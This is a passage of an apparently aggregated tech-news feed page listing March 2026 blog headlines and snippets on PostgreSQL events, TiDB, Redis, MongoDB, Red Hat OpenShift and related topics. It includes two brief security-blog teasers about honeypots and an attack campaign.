<p><a href="https://www.postgresql.org/about/news/hyderabad-postgres-days-2026-announcement-and-cfpcfs-3257/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-a-voice-first-ai-journal-how-to-add-a-knowledgeable-tutor" class="group relative scroll-mt-24">
        <a href="#h3-building-a-voice-first-ai-journal-how-to-add-a-knowledgeable-tutor" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building a Voice-First AI Journal: How to Add a Knowledgeable Tutor
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-a-voice-first-ai-journal-how-to-add-a-knowledgeable-tutor"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I give talks for a living. Developer relations means standing in front of rooms full of engineers and explaining complex technical concepts clearly enough that people walk away understanding something</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/build-ai-voice-tutor-rag-tidb-vector-search/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-scylladb-operator-with-red-hat-openshift-certification" class="group relative scroll-mt-24">
        <a href="#h3-announcing-scylladb-operator-with-red-hat-openshift-certification" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing ScyllaDB Operator, with Red Hat OpenShift Certification
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-scylladb-operator-with-red-hat-openshift-certification"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>OpenShift users gain a trusted, validated path for installing and managing ScyllaDB Operator – backed by enterprise-grade support</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/03/19/operator-openshift-certification/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pgconfdev-2026-schedule-announced" class="group relative scroll-mt-24">
        <a href="#h3-pgconfdev-2026-schedule-announced" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PGConf.dev 2026 Schedule Announced!
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pgconfdev-2026-schedule-announced"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>PGConf.dev 2026 (May 19-22, 2026, Vancouver, BC, Canada), aka PostgreSQL Development Conference 2026, is an event where users, developers, and community organizers come together to focus on PostgreSQL</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/pgconfdev-2026-schedule-announced-3256/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-the-redis-partner-network-a-new-foundation-for-real-time-innovation" class="group relative scroll-mt-24">
        <a href="#h3-introducing-the-redis-partner-network-a-new-foundation-for-real-time-innovation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing the Redis Partner Network: A new foundation for real-time innovation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-the-redis-partner-network-a-new-foundation-for-real-time-innovation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Real-time data powers the next generation of applications — from AI-driven experiences to mission-critical operational workloads. At Redis, we’ve always believed that delivering real-time performance </p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/new-foundation-for-real-time-innovation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-instantly-restore-a-dropped-table-in-tidb" class="group relative scroll-mt-24">
        <a href="#h3-how-to-instantly-restore-a-dropped-table-in-tidb" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Instantly Restore a Dropped Table in TiDB
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-instantly-restore-a-dropped-table-in-tidb"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dropping a table by mistake is one of those worst-case scenarios every database operator dreads. Maybe you thought the table wasn’t in use anymore. Maybe you were connected to the wrong environment. E</p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/how-instantly-restore-dropped-table-tidb/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-streamline-read-scalability-with-cloud-sql-autoscaling-read-pools" class="group relative scroll-mt-24">
        <a href="#h3-streamline-read-scalability-with-cloud-sql-autoscaling-read-pools" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Streamline read scalability with Cloud SQL autoscaling read pools
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-streamline-read-scalability-with-cloud-sql-autoscaling-read-pools"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A common pattern for applications that read frequently from a database is to offload read-heavy workloads to a read replica. This allows applications to scale without impacting critical write operatio</p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/databases/cloudsql-read-pools-support-autoscaling/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-join-us-at-pgday-armenia-2026-in-yerevan-on-april-30-2026" class="group relative scroll-mt-24">
        <a href="#h3-join-us-at-pgday-armenia-2026-in-yerevan-on-april-30-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Join Us at PGDay Armenia 2026 in Yerevan on April 30, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-join-us-at-pgday-armenia-2026-in-yerevan-on-april-30-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Greetings PostgreSQL Community, I’m thrilled to announce that PGDay Armenia 2026 will take place in Yerevan on April 30, 2026. PGDay Armenia is a community-driven technical conference organized by the</p>
<p><strong>📅 Mar 18, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/join-us-at-pgday-armenia-2026-in-yerevan-on-april-30-2026-3255/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-enhance-your-in-ide-data-browsing-experience-with-mongodb" class="group relative scroll-mt-24">
        <a href="#h3-enhance-your-in-ide-data-browsing-experience-with-mongodb" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Enhance Your In-IDE Data Browsing Experience With MongoDB
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-enhance-your-in-ide-data-browsing-experience-with-mongodb"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>MongoDB is excited to announce the general availability of our enhanced data browsing experience in the MongoDB for Visual Studio (VS) Code extension. This new experience offers a unified workspace fo</p>
<p><strong>📅 Mar 17, 2026</strong> • <strong>📰 MongoDB Blog</strong></p>
<p><a href="https://www.mongodb.com/company/blog/technical/enhance-your-in-ide-data-browsing-experience-with-mongodb"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-real-time-customer-segmentation-works-in-retail" class="group relative scroll-mt-24">
        <a href="#h3-how-real-time-customer-segmentation-works-in-retail" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How real-time customer segmentation works in retail
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-real-time-customer-segmentation-works-in-retail"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Your customer searched for espresso machines, spent six minutes comparing mid-range models, and just opened your app from a kitchen store parking lot. That&#39;s a high-intent moment, but your segmentatio</p>
<p><strong>📅 Mar 17, 2026</strong> • <strong>📰 Redis Blog</strong></p>
<p><a href="https://redis.io/blog/real-time-customer-segmentation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-tidb-x-creates-indexes-at-55m-rowss-with-near-zero-business-impact" class="group relative scroll-mt-24">
        <a href="#h3-how-tidb-x-creates-indexes-at-55m-rowss-with-near-zero-business-impact" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How TiDB X Creates Indexes at 5.5M Rows/s with Near-Zero Business Impact
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-tidb-x-creates-indexes-at-55m-rowss-with-near-zero-business-impact"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Adding an index has always been a sensitive operation: The challenge is clear: How do we build indexes that are fast, stable, and minimally disruptive, even at massive scale? TiDB X, the latest versio</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/tidb-x-index-creation-5-5m-rows-near-zero-business-impact-online-ddl/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-platforms" class="group relative scroll-mt-24">
        <a href="#h2-platforms" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🌐 Platforms
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-platforms"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="group relative scroll-mt-24">
        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-five-great-devops-job-opportunities" class="group relative scroll-mt-24">
        <a href="#h3-five-great-devops-job-opportunities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Five Great DevOps Job Opportunities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-five-great-devops-job-opportunities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Explore the latest DevOps.com weekly jobs report. Highlighting premier opportunities at Bank of America, Microsoft, and GEICO, with salary insights up to $300,000 for senior engineering and platform l</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/five-great-devops-job-opportunities-181/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-red-hat-openshift-421-smarter-scaling-faster-migration-and-ai-powered-efficiency" class="group relative scroll-mt-24">
        <a href="#h3-red-hat-openshift-421-smarter-scaling-faster-migration-and-ai-powered-efficiency" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Red Hat OpenShift 4.21: Smarter scaling, faster migration, and AI-powered efficiency
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-red-hat-openshift-421-smarter-scaling-faster-migration-and-ai-powered-efficiency"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat OpenShift 4.21 is designed to run AI training jobs, containerized microservices, and virtualized applications on your private, hosted, or hybrid infrastructure so you can modernize your IT inf</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/red-hat-openshift-421-smarter-scaling-faster-migration-and-ai-powered-efficiency"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-economics-of-red-hat-openshift-421-why-infrastructure-is-now-a-financial-strategy" class="group relative scroll-mt-24">
        <a href="#h3-the-economics-of-red-hat-openshift-421-why-infrastructure-is-now-a-financial-strategy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The economics of Red Hat OpenShift 4.21: Why infrastructure is now a financial strategy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-economics-of-red-hat-openshift-421-why-infrastructure-is-now-a-financial-strategy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As businesses gather at KubeCon EU 2026, the conversation has shifted from simply adopting the latest technology to driving tangible business outcomes. In my experience working with organizations look</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/economics-red-hat-openshift-421-why-infrastructure-now-financial-strategy"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-solve-multi-controller-contention-with-red-hat-openshift-networking" class="group relative scroll-mt-24">
        <a href="#h3-solve-multi-controller-contention-with-red-hat-openshift-networking" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Solve multi-controller contention with Red Hat OpenShift networking
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-solve-multi-controller-contention-with-red-hat-openshift-networking"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As your organization scales its Red Hat OpenShift platform to support mission-critical workloads, your networking requirements often extend beyond a single load balancing solution. Many environments a</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/solve-multi-controller-contention-red-hat-openshift-networking"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-parallel-execution-in-modern-ci-best-practices-results" class="group relative scroll-mt-24">
        <a href="#h3-parallel-execution-in-modern-ci-best-practices-results" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Parallel Execution in Modern CI: Best Practices & Results
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-parallel-execution-in-modern-ci-best-practices-results"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how parallel execution in CI reduces build times, controls cloud costs, and scales safely with test intelligence, caching, and governance. | Blog</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/parallel-execution-in-modern-ci-best-practices-results"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-shift-gears-10-stories-redefining-enterprise-it" class="group relative scroll-mt-24">
        <a href="#h3-shift-gears-10-stories-redefining-enterprise-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Shift gears: 10 stories redefining enterprise IT
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-shift-gears-10-stories-redefining-enterprise-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’ve long moved past the era where open source was just a collection of parts; today, it’s the factory itself. Whether you are building AI agents with MCP or migrating legacy virtual machines (VMs) t</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/shift-gears-10-stories-redefining-enterprise-it"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-meet-the-new-standard-for-high-performance-low-cost-inference-nvidia-dynamo-10-is-now-available-to-digitalocean-customers" class="group relative scroll-mt-24">
        <a href="#h3-meet-the-new-standard-for-high-performance-low-cost-inference-nvidia-dynamo-10-is-now-available-to-digitalocean-customers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Meet the New Standard for High-Performance, Low-Cost Inference: NVIDIA Dynamo 1.0 is now available to DigitalOcean Customers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
